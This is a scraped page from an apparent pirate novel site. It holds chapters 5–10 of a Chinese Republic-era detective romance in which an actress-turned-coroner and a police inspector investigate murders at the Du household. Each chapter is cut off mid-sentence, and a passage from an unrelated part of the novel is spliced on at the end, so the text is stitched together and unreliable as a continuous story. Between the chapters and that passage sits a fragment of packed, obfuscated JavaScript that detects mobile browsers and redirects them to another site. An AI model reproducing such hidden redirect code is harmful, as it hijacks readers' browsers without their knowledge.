柴房昏暗,里面摆着许多红油漆,是前几个月粉刷花房剩下的,就一直放在这里,没有搬走,除此之外,还有几道车轮印,看来那抛尸用的推车原先就停放在这里。 证据确凿,不能抵赖。 李为乐学炎曜的样子,板着脸,负手道:“杜公子,还请跟我们到巡捕房一趟,接受问询。” “不是我……真不是我!这花房隔段时间就要刷一次,真的不关我的事!”杜二惊慌失色,“你们不能抓我!” 见巡捕房态度强硬,他不得不从。被带走时,还大声惊呼:“爹,娘!一定要将我救出来啊!你们可就我一个儿子啊!要是我死了,杜家就绝后了!” 杜夫人急得直抹眼泪,扯着杜老爷的袖子说:“求您救救凛儿啊,他可是我身上掉下来的一块肉啊,要是凛儿有个什么三长两短,我也不活了!” 杜老爷也唉声叹气,直言:“家门不幸、家门不幸啊。” …… 杜邵凛被带到了审讯室。 这里离监狱很近,有些阴冷潮湿,他被驾到一个凳子上,戴上手铐,坐了三个小时。杜二自小娇生惯养,哪里受过这种苦楚?他愤恨道:“叫你们炎探长过来,我要请最好的律师,告死你们!” 无人理他。 “都聋了吗?我要将这里夷为平地,你们等着瞧!” 还是无人理他。 杜二觉得自己被冒犯了,却又无计可施,谅他们也不敢对自己动刑,可这么下去也不是个办法。 一夜后,审讯室的门开了。 炎曜一身警服,身材笔挺,走了进来,逆着光,他的个子很高,恍若神祗。 “不是我,真的不是我!”杜邵凛狠狠地捶了一下桌子,红着眼道。 才一夜功夫,他便神色疲惫,黑眼圈很重,还长出了一点青色的胡子,与之前的风流形象判若两人。 “ 6. 双重手法 《水是睡着的火[民国探案]》全本免费阅读 这些天,水影正在剧组拍戏。 以往,水影儿就是传说中的花瓶,所以导演对她的演技并没抱太大的期望,这对水影来说无形是好事——若是期望过高,她一紧张演砸了,岂不是很快就漏了马脚? 还好她读书时参与过戏剧社,演戏经历倒不是一片空白,再加上她态度端正,不懂就问,一上午倒得到了导演许多的表扬。 一场戏拍完,她回到棚里坐下,研读剧本,化妆师正在给她上妆。 老常倒也乐得自在,少操了许多心,人都快活了一截。他端着一杯水,拿一份报纸过来,翘着二郎腿道:“看看今天的新闻,有什么趣事。” 翻开第一页,就惊呼了一声:“哟,这通缉犯长得挺别致呢,好像和上次的案子有关。” “什么通缉犯?”水影来了兴趣,难道炎曜这么快就确定凶手了吗? 真是雷厉风行。 “喏,这个。”老常指了指那画像,“巡捕房说此人与案子有重大关系,若有知情者提供此人线索,奖励一百大洋。” “这人倒是面生。”凭借水影儿的记忆,水影在脑海中搜寻了许久,也不记得有哪个大佬长这模样,八成是个虾兵蟹将,被人当枪使的。 谁知,过了三天,新闻的头版头条就说此人抓住了,正关在城北监狱,经过拷问,那人承认此事有幕后指使者,却坚决不说是谁。 短短的几行字,让水影升起疑云。 直觉告诉她,炎曜肯定有什么计划。 又过了一天。 今天一场戏是男女主告别的场景,既然是“告别”,难免会有缠绵悱恻、拥抱亲密的镜头,男主是最近风头正盛的小生谢非,他剑眉星目,很有观众缘,本以为水影儿不好相处,谁曾想经过几天的接触,倒是觉得她大方随和,虽然话不多,人却没什么架子,和传闻很有不同,便多了几分好感。 特别是在等戏的时候,不说话,一双眼只盯着剧本,鼻子秀挺,嘴唇微动,长发披肩,有一种无法用语言形容的美感。 …… 江南烟雨下,二人站在一处石桥边,打着油纸伞,水影穿着蓝衣黑裙的学生服,扎两条麻花辫,正与谢非互诉衷肠。 她的眼泪流下,说到动情处,头轻轻地顶着谢非的胸膛,谢非只觉得心跳飞快,鼻尖有发丝的清香,他搂住水影的肩,画面拉远,定格在这瞬间…… “卡!”导演络腮胡表示很满意,中气十足地说:“辛苦二位,今天的戏就到这吧!” 水影抹了抹眼泪,谢非递给她一方帕子,笑了下,说:“影儿,你演戏真的很不错,不知今晚可否赏脸,共进晚餐?” 水影刚想着怎么拒绝,老常却三步并作两步过来,说:“炎探长找你。” “谁?” 水影还沉浸在刚才分别的场景中,有些回不过神。 “他就在那里。” 顺着老常的目光望去,水影见炎曜立在那里,身着常服,负着手,像料峭春寒下的一棵松柏,他望着水影,目光深沉,看不出情绪。 水影一惊,难道刚才和谢非的片段都被炎曜看到了吗?不过她是在拍戏,也没什么不妥。 “不好意思,今晚有事,谢先生自己先去吃吧。”水影对谢非歉意一笑。 谢非忙说:“没关系,不知道水小姐今日和朋友约了,是我唐突了。” 其实水影并未和炎曜有约,见谢非这样说,也没再解释,只是由他去了。 她整理了下情绪,来到炎曜身边:“不知炎探长今日找我,有何事?” 炎曜只是说:“打扰了水小姐的约会,抱歉。” 因为刚哭过,水影的眼睛红红的,像一只小兔子,又穿着学生装,倒真像个楚楚可怜的学生。 水影解释道:“不是,就算和谢非吃饭,也会叫上其他人,纯属是剧组聚餐。”话说完,就有些发愣,奇怪,她为什么要和炎曜解释这些,难道是怕他误会什么吗?可是,他们的联系顶多就是案子,又没其他,那她有什么必要多费口舌呢? “今天前来,是有关验尸的事想请教你,此事说来话长。”炎曜看了眼手表,道:“时间不早了,如果水小姐饿了,我们先去吃个便饭,再详谈吧。” 水影点头,说:“我去换个衣服,一会儿就来。” 她的两条麻花辫捶在胸前,像两痕柳树的丝绦,炎曜移开目光,脑中却不自觉地回想起刚才她与谢非拍戏的情景…… *** 宝来饭店。 这里并非是上海滩首屈一指的大饭店,名声也不响亮,只是菜式精妙,环境清幽,中式的装修,亭台楼阁,中央还有荷花池。荷花未到全盛的季节,只露出尖尖角,门前挂两个大红灯笼,随风摇曳。 “炎探长倒是会选地方,如此清新雅致的饭店,在上海滩恐怕不多见吧。”水影环顾四周,服务员似是炎曜的熟识,将他们引到二楼最里面的一间包房。 炎曜将菜单递给水影,她随意点了几个小菜,又点了道西湖醋鱼。 炎曜若有所思,在请水影儿帮忙查案前,他找人专门调查了她的背景,其中一点,便是她从不吃鱼,可是眼前这位,却专门点了道鱼,着实有些蹊跷…… 待服务员走后,水影问:“炎探长要问的是什么?但说无妨。” 炎曜两条长腿交叠在一起,沉吟了一下,“想必你已经看到报道了吧。” 在得到水影肯定地回答后,他继续说:“那名嫌疑人其实并未抓到,只是我设的一个局,故意放出风声,引真凶来城北监狱劫狱,昨晚,他真的行动了,被埋伏在周围的巡捕抓住,扯下面罩,谁知,却是杜府的管家。” “管家?”水影颇感惊奇。 “是的,经过连夜审讯,管家承认了罪行,他说,自己早就对杜公子怀恨在心了,当时他女儿张小妹和他一起在杜家做事,杜二见张姑娘生得好看,就暗中勾搭,却又瞧不上她的身份,不愿意娶她。张姑娘心灰意冷,最终跳河自杀,香消玉殒。” “所以,张管家就暗中布了这个局,让杜二偿命?” 炎曜颔首,“那名商人就是他雇来的,说是做木材生意,其实是为了取杜二的指纹,将他碰过的木材做成推车的把手,从而陷害于他。” “那纽扣呢?” “管家说是他跟踪杜二,发现杜二和戴春芳在街角吵嘴,戴春芳一时情急,扯下杜二的纽扣,二人不欢而散。管家就趁杜二走后,立马擒住她,灌下毒药,所以那纽扣才会在她手中。而另一名死者也是被管家所杀。我们在管家告知的地方发现了一把短刀,经过比对,正与戴春芳和王莺莺胸前的伤口一致。”炎曜眉头微皱,然而他的表情却好像在说,此事并不简单,还有未被揭开的秘密。 水影沉思了一下,从道理上说得通,可是,又总觉得有哪里不对。 毒药,纽扣,刀…… “我知道哪里有问 7. 花园白骨 《水是睡着的火[民国探案]》全本免费阅读 “你……你是谁!有种报上姓名!”同伴捂着脸,脸上青一块紫一块。 “你也配知道我的名字?”炎曜的容颜比冰山还冷,“滚吧,下次若再让我碰见你们,就不是断一只手臂那么简单的。” “他奶奶的,这次……这次不跟你计较!”二人对望一眼,飞也似地逃走了,要多狼狈有多狼狈。 “恩人,请受我一拜。” 琵琶女泫然欲泣,她爷爷也痛哭流涕。 “恩人,灵鸢当牛做马也要报答你!” 她还想跪拜,炎曜却摆摆手,说:“不必了。” “可是……”灵鸢眼中带泪,见炎曜气质清冷,模样又好,脸颊不觉飞上一片红云。 炎曜止住了她的话,道:“不足挂齿,我会尽力保护上海滩的每一个居民,你们不过是其中之一罢了。” 他将手插进裤兜,便迈着长腿离开了。 水影见他见义勇为的样子,只觉得这男人明明荷尔蒙爆棚,却如此的冷静克制,就像水与火交融在一起,让人敬畏。 *** 第二日。 水影脱下白大褂,口罩和手套,从验尸房走出来,杰克候在门口,带她到了炎曜的办公室。 她手里捧着一块还没吃完的蛋糕,刚才在验尸房吃了一半,现下又三下五除二地吃完了另一半。杰克心里暗自佩服,这女郎居然在验尸房还能吃得下东西,真是有一颗强大的心脏。 炎曜站在窗前,见她来了,转身问道:“有何发现?” 水影揉了揉太阳穴,消毒水的味道弄得她头脑发胀。 “还是百草枯。”她说,“管家身上有很多陈年的伤痕,应该是这些年做苦力弄伤的,手上有厚厚的老茧,腿脚也有风湿病患,除此之外就没有其他了。” “看来明天要再去杜家一趟了。”炎曜打定了主意,既然线索已经引到了管家身上,那么从他生活过的地方查起,应该会有收获。 水影快步来到他身边,问道:“我明天休息,能和你一起去么?说不定会帮上忙。” 炎曜望了她一眼,眼前之人虽然看起来柔弱,却给人独立干练的感觉,就像一个值得信任的战友,能放心把后背交给她。 “可以,但是我必须保证你的安全,所以切记,不要单独行动。” “Yes,Sir!” 水影一板一眼地说,弄得炎曜哑然失笑。 …… 这次的阵仗明显比上次要大。 不光炎曜和水影亲自出马,还带来了李为乐和杰克还有一众巡捕房的弟兄。 杜公馆依山而建,外观精美,中西合璧,门前有一喷泉池,池中有个白色大理石制成的雕塑,看起来栩栩如生,虽没有炎公馆那么阔绰,却也价值不菲。 众人浩浩荡荡来到杜公馆,丫鬟小厮进去通报,杜老爷才颤颤巍巍前来,他似乎精神不济,白头发也多了几根,这些天为小儿子操心着急,夫人也病倒了,难免心火旺盛。 “不知炎探长有何贵干?”他鼻子一歪,很不客气的样子。 炎曜一身警服,正色道:“昨日杜府的管家被巡捕房抓获,他承认了罪行,说是自己嫁祸给杜少爷的,我们今日来,就是为了此事。” “真的?”杜老爷面露喜色,声音都提高了八度,“怪不得昨天张管家借口出门,却到现在还没回来。既然如此,炎探长为何不把我儿放出来,还来杜家作甚?” “此事疑点重重,还未得知真相,所以今日叨扰,请杜老爷谅解。”保险起见,炎曜省去了许多细节,只是泛泛而谈。 “什么疑点?”杜老爷缠着不放。 炎曜理了下警帽,给出一套官话:“此事事关重大,还未到让外人知道的时候。” 杜老爷吃瘪,突见水影立在炎曜身后,便用拐杖指着她,叫道:“为何她会来?不过是个女明星,难道与本案有关系吗?” 在杜老爷的印象中,这明星跟他儿子是传过绯闻的,这时候前来,难道是看他们笑话的? 炎曜不动声色地挡在水影面前,说:“她是巡捕房新请的特派顾问,协助本探长查案,不知杜老爷有何指教?” 炎曜身材高大,立在人前,气势就高了一大截,杜老爷看他神色冰冷,麻木无情的样子,心里发怵,只得乖乖让路。 一行人搜查了别墅,又来到后花园。 这里开满了玫瑰,像一团团火焰,热烈而浓艳,旁边有一个白色的秋千,还有一处透明玻璃的温室花房,里面种着奇花异草,十分新奇,只是几只苍蝇嗡嗡地飞着,有些扫兴。看得出来,杜家对这后花园十分上心,布置得很有趣。 李为乐一拍脑袋,“我想起来了,上次就是在这里,管家跟我说柴房什么的,本来那柴房在偏僻的角落,无人问津,他一说,倒提醒起我去检查了,这样看来,管家其实是早有预谋。” 杰克挑了挑眉,“你还以为是瞎猫碰上了死耗子,没想到是别人故意引你进去的。” 李为乐呵呵一笑道:“你还会说‘瞎猫碰上了死耗子’,最近中文进步了不少呢,记得某次你去吃饭,明明想点‘红烧排骨’,结果说成‘红烧屁股’,人老板娘还以为你耍流氓,要报警抓你呢。” “往事别再提了,以后还请李兄多多指教啊。”杰克抱拳,假装朝他施了一礼,蓝色的眼珠满是揶揄。 这二人一见面就要斗嘴,也算是巡捕房的一道奇观。 …… 炎曜负着手,神情肃穆,水影走近一步,提醒道:“既然毒药是百草枯,那么杜家很有可能还藏着这药,听下人说,张管家总是悉心打理花园,所以花园中,八成还有那毒药。” 这正与炎曜所想不谋而合,他点头,吩咐手下道:“你们仔细搜索,不要放过每一个角落,务必要找出剩下的毒药,若有其他可疑之处,也不要放过。” “是!” 众人便作鸟散去搜查了。 远处,几个小伙子正在做工,两人扫地,一人做木工,另一人在包扎一只受伤的小兔子。 水影径直朝他们走去,今日她穿了一件水绿色的连衣裙,裙子下摆呈荷叶边褶皱样式,被风一吹,在花丛中像水波流动。小伙子们以为她是巡捕房的人,都放下手中的活计,听她说话。 水影搬了个椅子坐下,就像拉家常一样道:“你们觉得,张管家平时为人如何?” “待人不错,就是有些重小利,斤斤计较。”一名短小精悍的仆人说。 “这最好还是问他儿子吧,阿诚最有发言权了。”另一名瘦高个推了推那名包扎兔子的仆人,道。 阿诚摸了摸兔子的脑袋,见完全包扎好,才放下手中的兔子,抬头问 8. 旧油纸伞 《水是睡着的火[民国探案]》全本免费阅读 炎曜戴着手套,将找到的毒药放到证物袋中。毒药用油纸包着,就在那具人骨的旁边,从时间上看,已经死亡许久了,只剩一具枯骨,身上的衣服也烂的不成样子,而毒药,却是新埋进去的。 水影检查了一下尸骨,一字一句道:“从盆骨的角度可知,这是一具女尸,死亡时间应该有十年以上,死时大概十四、五岁。死者脑后受到重击,为致命伤。” “难道是张小妹?”炎曜皱眉,据调查,张小妹死时正是这个年纪,死亡距离现在也整整十年了。 “不可能的,”阿诚围了过来,信誓旦旦地说:“父亲已经将妹妹的尸骨埋到了祖坟里,我当时也参加了葬礼,还给妹妹抬棺了,所以,这女尸一定不是妹妹。” “那你记得,杜府失踪过什么丫鬟吗?” 阿诚回忆了许久,摇摇头,说:“不记得。” “我也许知道是谁!”瘦高个兴冲冲地说:“那个时候阿诚还没来杜府,我记得有个丫鬟叫杜鹃,是张小妹最好的朋友,有天出去买菜,就再也没有回来了,我们还以为她被人贩子拐走了,那个时候,张小妹天天在门口张望,看杜鹃回来了没有,可是,却再也没等到她。” “那杜鹃身上有什么特征吗?” 瘦高个沉思了一下,双手交叉,道:“哦,她曾从楼梯上摔下来,肩膀受过伤,养了三个月,说也奇怪,刚刚差不多痊愈,人又失踪了,真是命途多舛。” 水影着重看了下骨头的肩部,确实有旧伤,看来这女尸是杜鹃无疑。 “我能看看那毒药吗?”水影发话。 炎曜将证物袋递给她,水影对着阳光凝视了一下,指着油纸说:“你们看,纸上有个字?” 众人围了过来,李为乐抢先说:“是个‘柔’字?” 字迹娟秀,一笔一划,像是出自女人之手。 “咦,这不是夫人……”短小精悍刚脱口而出,又捂着嘴,生怕泄露了什么玄机。 “夫人怎么了?”炎曜走近一步,气势逼人,“提醒你,若是有什么隐瞒的,耽误巡捕房查案,可是重罪。” 短小精悍犹犹豫豫,终于沉下心,道:“‘柔’是杜夫人的闺名,夫人前些天想做一把油纸伞,便命管家给她做一把,杜府的人都知道,夫人与管家关系亲近,平日里管家对夫人可是言听计从的,还有人说,二人的关系早就超出了一般的主仆呢……” “阿箬,就算他不是我爹,以我们下人的身份,谁给你的胆子说夫人和管家的闲话?就算探长要查案,我们也应该说些有真凭实据的事,而不是如此捕风捉影。”阿诚皱眉,似是十分看不惯他乱说。 短小精悍这才住了嘴,没再多说。 炎曜深深地望了一眼那人骨,道:“用油纸包着的毒药刚好埋在杜鹃的尸骨旁,难道这个案子,还与十年前的旧事有关?” *** 晚些时候,李为乐回到巡捕房,灌了一大口水,终于顺了气。天花板上,吊扇哗哗作响,吹起凉风。 “查到了,杜夫人闺名是钟柔,和张管家是青梅竹马,二人出自同乡,都是苏县人,原本有婚约,可是杜老爷有次去苏县谈生意,无意中撞见了钟柔,立刻就被迷得神魂颠倒,非要娶她不可。那时杜老爷的原配难产去世,留下杜家大小姐,杜老爷看到钟柔,立马就有了续弦的打算。后来,他不知用了什么手段,逼迫钟柔嫁给他。无奈之下,钟柔只得嫁给了年长她二十岁的杜老爷,想必夫人纵使与杜老爷举案齐眉,到底是意难平的。几年后张管家才来杜家做事,这自然是后话。” 炎曜拿起粉笔,在黑板上记录了下来,上面已经有了许多关系图,包括杜老爷,杜夫人,杜二,张管家,张小妹,还有几位死者,如今又加了一条线。 “有一点值得推敲,”炎曜朗声说:“既然张管家与杜夫人之前有婚约,杜老爷怎么会让他来当管家呢?” 李为乐道:“张管家已经改名了,况且几年过去了,杜老爷早就忘了这事,还以为他就是个普通人。再加上杜夫人推波助澜,杜老爷就答应了。” “好吧,还有其他线索吗?” 李为乐擦了把汗,最近的天气着实奇怪,一会儿热,一会儿冷,弄得他口干舌燥,“十年前,杜老爷也不知哪根筋搭错了,非要纳当时的丫鬟杜鹃为妾,怎么都劝不住,后来,杜鹃失踪,此事才算了结。” 杰克咬了咬手指,突然说道:“会不会是杜夫人嫉恨杜鹃,所以杀她灭口?” “有这个可能,都说女人嫉妒起来,连老虎都能杀死。”李为乐难得同意杰克一回。 炎曜却说:“我不这么认为。”沉吟了一下,道:“杜夫人当初是被迫嫁给杜老爷的,二人这些年感情一直不睦,杜夫人又怎会管杜老爷纳妾?再说了,就算杀杜鹃的是夫人,那和现在的案子有什么关系?” 杰克一拍巴掌,说:“听杜公馆的下人说,杜老爷与夫人的关系一直都是淡淡的,主要是夫人比较冷淡,无论杜老爷做什么她都没表示。杜老爷当初娶夫人也是用卑鄙手段到手的,夫人会不会一直记恨,所以想毁掉整个杜家?派她最信任的张管家出手,来达成此事。”不禁有些颤栗,“如果真是这样,就太可怕了,最毒妇人心啊。” 李为乐摆手道:“不会吧,杜夫人看杜二被抓那伤心的样子,不像是装的,我不信她演技那么高超。” 众人陷入了沉思,只觉得此案像一摊沼泽,越陷便越深,越查便越蹊跷。起初只是两名陪笑女与一名浪荡公子的糊涂债,现在却牵扯上了整个杜家,往后还不知走向如何,都说未知的才是最可怕的,这个案子明明已经有许多证据,却不能将它们串联在一起,着实让人心焦。 这时,水影穿着白大褂进来了,她刚验完油纸上的指纹,还没脱白大褂,今天下午的戏份不多,所以晚上才有时间来巡捕房帮忙。 “油纸上有张管家和杜夫人的指纹。”她得出结论,随即又蹙眉道:“可 9. 一探究竟 《水是睡着的火[民国探案]》全本免费阅读 水影的眼眸蓦地瞪大,炎曜说这话的语气很淡,仿佛只是说一件最平常不过的事情,可是水影却被这句话弄得发毛,只是扯出一抹笑,道:“炎探长何出此言?” “我调查过你,水影儿与你的习惯有许多不同,虽然目前我不清楚怎么回事,可是我敢肯定,你不是她。” 水影不自觉地向后一步,炎曜表情认真,不像是开玩笑,在没弄清他的意图之前,她不敢贸然承认。 炎曜似乎看出了她的戒备,走近一步,低头道:“不过也没什么,我欣赏你的办事能力,所以你无论是不是水影儿,都与我无关。” “那炎探长跟我说的目的是——?”她故意将声音拉长,等待他的回答。 一秒。 两秒。 三秒…… 炎曜将手插在荷包,道:“疑人不用,用人不疑,既然我已经跟别人说了你是我新聘请的探案顾问,就不想与你之间有什么秘密,我希望,我的同行者对我毫无保留,同时,我也不会向别人隐藏什么。” “所以,你把我当同行者?”水影抬头,对上他的目光,她在意的居然是这点。 “是。”炎曜点头。 在他心里,将一个人当成同行者已经是对其最大的肯定了。 水影脑子转得极快,就像有两个小人在打架。 一个叫直觉的小人告诉她:炎曜是一个靠得住的人,值得信任,全盘托出也不是什么大不了的;可一个叫理智的小人告诉她:二人才刚相识,了解得不深,此事还是不宜声张为好,多一事不如少一事。 最后,理智赢了。 水影从善如流道:“炎探长很聪明,观察得也很细致,可是习惯总会变的,不是么?再说了,既然您刚才也说,我是谁不重要,那我们也不必纠结这个问题吧。”她莞尔一笑,脸颊有两个小梨涡,“我总觉得,看一个人是谁,不能光看她说了什么,而是要看她做了什么,通过前几次验尸,我确实能为探长提供帮助,这就证明,对您来说,我没有恶意。” 炎曜自然看出了她不想多说,确实,她的话也没错,他不能以对自己的要求来对待别人,就像你相信一个人,却不能保证别人一定要相信你一样。 “对于你是谁,我可以不管,可是有一件事,却不能不管,若不能解释清楚那件事,那么,我便不能放心将案子与你分享。” “何事?”水影看他的表情很严肃,虽然他一直如此,可是当下的表情,却格外郑重,不由得让她好奇,到底是什么事,让他如此在意? 炎曜正色道:“请恕我无意冒犯,据我的调查,你似乎一直在关注一个组织?” 走近了一步,“暗夜组织的事,与你有何关系?” 说到这四个字的时候,炎曜的眉头明显一沉,浑身都散发着冷意。 水影心一惊,这个名字她不陌生,可以说,暗夜组织完全就是置她于死地的凶手。她想了想,道:“我有一个朋友,半个月前坐了一艘船,可是那船却沉了,我了解到,是暗夜组织下的毒手。所以,我想了解更多关于这个组织的事情,为我的朋友报仇。” “我知道这个组织,”他的眸子深不见底,带着意味不明的情绪:“暗夜组织在全国都有势力,领导者代号‘血魔’,专做一些见不得人的生意,比如走私军火,贩毒,拐卖妇女,总之什么利润大就做什么,全然不顾道义。你说的那条船上有个富翁叫梅三霍,在山西做煤矿生意,那船出事后,梅家大乱,他的家产就被一股神秘的势力给吞并了,如此说来,一定是血魔的杰作。” “居然是这样?”水影的拳头默默地握紧,怪不得那些人要沉船,竟是为了此。 可是。 为了利润就害了整整一船的百姓,如此心狠手辣,实在是世所罕见。 “几年前,巡捕房派了一名警探潜伏到暗夜组织,这名警探得到消息,说血魔藏身于上海滩,可是他十分狡猾,在巡捕们去搜查的时候,提前埋下炸弹,最后有十名巡捕被炸死,损失惨重,那名警探也被暗夜组织抓起来,虐杀后,抛尸黄浦江,尸体惨不忍睹。这件事一直是老探长心头的一根刺,直到我接任探长,他还嘱咐我,一定不要放过血魔。” 他的声音清冽,回荡在水影耳边,如在梦中。 “谁知后来那姓唐的探长即任后,尸位素餐,全然忘了这血海深仇,如今,探长的位子传到了我的手里,我又怎能像他一样碌碌无为?对我来说,忘记,就是背叛。” 水影从他眼中读到了一丝很明显的恨意。这是她第一次从他身上读到这么强烈的感情,好像怎么也压抑不住,连声音都在颤抖。 “看来是一块难啃的骨头,对于血魔的行踪,你们有什么线索吗?”水影问。 炎曜的唇向下一瞥,摇头,“自从那次后,血魔就失去了踪迹,像一滴水流入了大海,怎么都找不到了。虽然我捣毁了几个血魔的窝点,却到底没有抓到本尊。” 水影叹了口气,“想必抓捕血魔也不是一朝一夕的事,不过谢谢你,肯跟我说这些。” 她的眸子清亮,像一泓泉水,能将人内心深处的污垢荡涤。 *** 次日。 杰克与李为乐几乎是同时来到巡捕房。 “我查到了!” “是我先查到的!” 二人针锋相对,谁也不让谁。 “说吧。”炎曜负着手,站在窗边,逆光之下,更显威严。 李为乐抢先说:“通过调查,我们发现张管家有个堂弟,正好就是大中华歌舞厅的经理,也就是我们在案发现场见到的那人,可是张管家的妻子却查不到,也许是个默默无闻的农村妇女,早就死了吧。” “张经理?”炎曜记得,当时在案发现场,就是张经理给他带路的。 “不光如此,当年还是张经理的母亲收养的阿诚。”杰克咽了下口水,道:“我们上午去询问了张经理,他被我们一吓,什么都招了,却死不承认自己参与了这个案子,还说他 10. 不寒而栗 《水是睡着的火[民国探案]》全本免费阅读 水影的高跟鞋落到了他旁边,定住,道:“有心事?” 看得出来,他眉头紧皱,成了“川”字,半眯着眼,琥珀色的眸子定在一点,身旁摆着一坛酒,还未开封。 “你还记得我跟你说的,潜伏到暗夜组织的警探吗?他叫苏墨声,就是苏县人。”烟灰落到了地上,星火渐灭,映成淡蓝的颜色。 水影坐到他身旁的石头上,双手交叠,放在膝上。 “他是我师哥,在军校比我大一届,以前我个性桀骜,惹出了许多麻烦,都是他在帮我兜着,我才能这么肆无忌惮的。”他的声音被风吹得破碎,很不分明。 水影终于明白那恨意是怎么来的。 “师哥毕业后,跟我说他要去破一个大案子,这个案子要破了,能让许多无辜之人免遭迫害,我说行啊,你要是成功了,我就请你去上海滩最大的酒楼吃一餐,再去最大的戏院看个戏,可是他说,上海滩他都待腻了,最想做的,还是在家乡苏县的小河边坐坐,吹吹风,喝喝酒,看看万家灯火,对他来说,就是人生最惬意的事情了,我还笑他,这有何难?可是现在看来,连这么点要求,都是奢望了。” 斯人已逝,如灯灭。 “我永远也忘不了那天,巡捕房说在黄浦江发现一具尸体,面目全非,身上没一处好肉,还是通过身上的玉佩,才确定师哥的身份。法医说,他生前是被人一刀一刀将肉剐下来的,就像……古代的凌迟。” 炎曜突然说不出话,将那坛酒开启,起身,对着河水,郑重地洒了下去,喃喃道:“师哥,刚才我去你老家看了下,你父母都很好,请放心。” 水影也随他起身,立在他身边,看着滔滔的河水奔腾而去,川流不息,只觉得心中感慨万分。 她在心底默默发誓,一定要抓住血魔,不光是为自己,也是为那些无辜惨死的冤魂报仇。 炎曜转身,情绪已经克制得很好。 他说:“走吧,人啊,还是要向前看。” “好。”水影跟在他身边。 炎曜扭头,“你就不问问,我带你去哪里?” “不是去张经理的老家么?”水影徐徐道。 在来苏县之前,李为乐已经告知了她事情的原委,所以对于张经理是张管家堂弟这件事,也已经知晓。 “他老家是要去的,不过,先去他周围的餐馆坐坐,吃个饭,也许会有意外的收获。” 二人沿着青石板路向前走,台阶上长满了湿漉漉的青苔,江南的夏日有些炎热,街上没什么人,仿佛只有这青苔与他们作伴,无声地蔓延开来。 水影穿着高跟鞋,一步一步,深深浅浅的,突然,脚下一滑,炎曜眼疾手快,托住她的手臂,道:“小心。” 水影闻到他身上有淡淡的烟草味,男人结实的臂膀让她安心。 “没事。”水影理了一下额前的碎发,站稳脚跟。 依稀间,她突然想起了自己的父亲,也是这样淡淡的烟草味,在外人眼里,父亲一向是沉稳冷静的,就像一棵屹立的松树,总是为她遮风挡雨。可是在她面前却不同,像个老顽童似的,总是把最好的都给她,可以说,水影从小是在蜜罐子里长大的,父亲从来不干预她的选择,所以养成了她特立独行的个性,可是眼下,也不知父亲过得如何,心中涌起了说不出的酸涩。 她默默地收回了思绪,心想,还是先把眼下的事情做好吧。 …… 五分钟后,便到了一家老福面馆,陈旧的牌匾昭示了店面的久远,这个小店已经很有些年头,虽然面积不大,客人却不少。手写的菜单挂在墙上,卤牛肉的香味四散开来。 “我要招牌牛肉面。”水影将菜单递给炎曜,他却没有看,只是说和她一样。 炎曜付钱,示意水影先去坐下。 二人并排坐到一方木桌边,正对着街道。 “你看那处,就是张经理的老家了。”炎曜指指街边的一处老宅,说。 这宅子和其他没什么不同,二楼有一扇窗户,一楼大门紧闭,墙上贴了辞旧迎新的对联,只是墙体斑驳,对联的字也有些发白。 老板福叔很快就将牛肉面端了上来,推荐道:“我这儿可是三十年的店面,苏县老字号,这条街上没有店比我这儿时间更长了。” 面很筋道,牛肉也入味,只是看到上面躺着的些许葱花,水影攒了攒眉。 糟糕,刚才忘记跟老板说自己的忌口了。 炎曜似乎看出了她的疑虑,问:“不喜欢葱花?” “嗯。”水影不好意思地点了点头。 “那就挑出来吧。”炎曜说着就从筷笼里拿出木块,又在桌上垫了纸,将葱花一点一点地挑了出来。 他的动作很细致,水影盯着他的手,只觉得他的手掌宽厚,好像能承受世间的所有重量。 “好了。”炎曜将牛肉面推到她跟前,打断了水影的遐思。 水影朝面里加了许多辣椒,她一向是个无辣不欢的人。 炎曜看她倒辣椒的量,有些吃惊。她的脸颊因为吃辣而渐渐变红,额头还有微末的汗珠,嘴唇也红红的,倒与之前高高在上的明星形象很是不同。 “二位是来游玩还是走亲戚的?”福叔见二人面生,相貌却是人中龙凤,不由得多问了句。 “来看朋友。”炎曜用筷子搅拌了一下调料,道:“对面的张家人,你们认识吗?” “怎么会不认识?老邻居了。”福叔用围兜擦了擦手,说:“那家儿子现在去上海做事了,一口上海话说得很溜,到处说自己是上海本地人,其实老家在我们苏县的。听说当上了歌厅经理,每个月赚不少钱呢,现在他家请了个保姆,守着瘫痪在床的老母亲,吃穿不愁。” 水影趁势问:“那你听说过张家曾收养一个白白净净的男孩吗?” “记得啊,十年前,那男孩来到了那里,文文静静的,像个学生,大家看他长得好,还争相想将女儿嫁给他呢。” “十年前?”水影眨了眨眼睛,“您再想想,是不是哪里出错了?” “没错啊。”福叔眼里露出茫然,捶了捶手掌,道:“就是十年!哪里有问题吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913721|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵鸢口中爱慕她的公子吧,只可惜落花有情流水无意,到底是意难平了。只是她没想到,事情都过去了快半年,王茂还流连在灵鸢的居所前,也不知道此人是痴情还是执拗了。 “我只是随便转转,他们是……?”王茂有些尴尬地用拳头抵着嘴,咳嗽了两声。 “这位是督军府马上要过门的少夫人,今日特地来调查你妹妹的案子。” “贵客来临,我们府真是蓬荜生辉啊。”王茂给水影行了书生的礼。 水影也回了一礼。 为了顾及督军府的面子,水影只是说:“七姨太和我说起过她曾借住于贵府,有一些贴身的衣物放在这里,便想着忆苦思甜,今日让我过来取一下。”绝口不提这案子和七夫人有关。 水影和两位丫鬟进入了屋子,这屋子和刚才小姐的厢房简直是天差地别,不光采光不好,还很逼仄,只有几张很狭长的木头床,为了节省空间,每张上面都会睡五个丫鬟,除此之外,就没有什么特别了,可以说这张房就只是为了睡觉,毫无生活乐趣可言。 她们走到了灵鸢居住的床榻。 灵鸢没有什么东西,只留下一床缝补过很多次的棉花被,床头放了一个小木盒,里面有一些荷包。她的手工活不错,也许是童年贫困,不光卖艺,有时还会做一些手工活去卖钱。 水影又叫灵鸢同床的丫鬟过来问话,这丫鬟瘦瘦小小,一双眼睛却是极大,只是她神态恹恹,眼眶凹陷,似是大病初愈。 